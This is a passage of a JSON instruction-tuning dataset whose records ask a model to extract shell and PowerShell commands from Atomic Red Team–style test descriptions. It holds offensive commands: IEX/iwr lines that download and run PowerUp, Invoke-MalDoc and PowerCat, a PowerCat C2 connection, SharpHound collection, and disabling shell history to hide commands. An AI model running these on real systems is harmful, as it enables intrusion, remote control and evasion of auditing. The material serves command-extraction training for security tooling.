    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing powershell.exe with various -EncodedCommand parameter configurations and supplied encoded arguments, run this command: Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop",
    "output": "{\"command_list\": [\"Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This module demonstrates how to extract a binary (calc.exe) hidden within another binary, similar to techniques used by maldoc authors. To execute this process, use the following command:\n$macro = [System.IO.File]::ReadAllText(\"PathToAtomicsFolder\\T1564\\src\\T1564-macrocode.txt\")\n$macro = $macro -replace \"aREPLACEMEa\", \"PathToAtomicsFolder\\T1564\\bin\\extractme.bin\"\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroCode \"$macro\" -officeProduct \"Word\" -sub \"Extract\" -NoWrap",
    "output": "{\"command_list\": [\"$macro = [System.IO.File]::ReadAllText(\\\"PathToAtomicsFolder\\\\T1564\\\\src\\\\T1564-macrocode.txt\\\")\\n$macro = $macro -replace \\\"aREPLACEMEa\\\", \\\"PathToAtomicsFolder\\\\T1564\\\\bin\\\\extractme.bin\\\"\\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroCode \\\"$macro\\\" -officeProduct \\\"Word\\\" -sub \\\"Extract\\\" -NoWrap\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To gather comprehensive system information using the WMI command-line utility, run the following commands: wmic cpu get name\nwmic MEMPHYSICAL get MaxCapacity\nwmic baseboard get product\nwmic baseboard get version\nwmic bios get SMBIOSBIOSVersion\nwmic path win32_VideoController get name\nwmic path win32_VideoController get DriverVersion\nwmic path win32_VideoController get VideoModeDescription\nwmic OS get Caption,OSArchitecture,Version\nwmic DISKDRIVE get Caption\nGet-WmiObject win32_bios\n. This will display details about the CPU, memory, baseboard, BIOS, GPU, OS, and disk drives.",
    "output": "{\"command_list\": [\"wmic cpu get name\\nwmic MEMPHYSICAL get MaxCapacity\\nwmic baseboard get product\\nwmic baseboard get version\\nwmic bios get SMBIOSBIOSVersion\\nwmic path win32_VideoController get name\\nwmic path win32_VideoController get DriverVersion\\nwmic path win32_VideoController get VideoModeDescription\\nwmic OS get Caption,OSArchitecture,Version\\nwmic DISKDRIVE get Caption\\nGet-WmiObject win32_bios\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To hide a file in macOS, you'll need Apple Dev Tools installed and then run the following command: setfile -a V #{filename}\n",
    "output": "{\"command_list\": [\"setfile -a V #{filename}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For establishing a C2 connection via PowerCat, run this command after setting up your listener: IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')\npowercat -c #{server_ip} -p #{server_port}\n",
    "output": "{\"command_list\": [\"IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')\\npowercat -c #{server_ip} -p #{server_port}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using Python's tarfile module, you can compress files by executing:\nwhich_python=`which python || which python3`\n$which_python -c \"import tarfile; output_file = tarfile.open('#{path_to_output_file}','w'); output_file.add('#{path_to_input_file}'); output_file.close()\"",
    "output": "{\"command_list\": [\"which_python=`which python || which python3`\\n$which_python -c \\\"import tarfile; output_file = tarfile.open('#{path_to_output_file}','w'); output_file.add('#{path_to_input_file}'); output_file.close()\\\" \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Prevent commands from being recorded in shell history by executing: export HISTCONTROL=ignoreboth\n#{evil_command}\n",
    "output": "{\"command_list\": [\"export HISTCONTROL=ignoreboth\\n#{evil_command}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can adjust the access rights for a file or directory with this command: chmod #{symbolic_mode} #{file_or_folder}",
    "output": "{\"command_list\": [\"chmod #{symbolic_mode} #{file_or_folder}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple 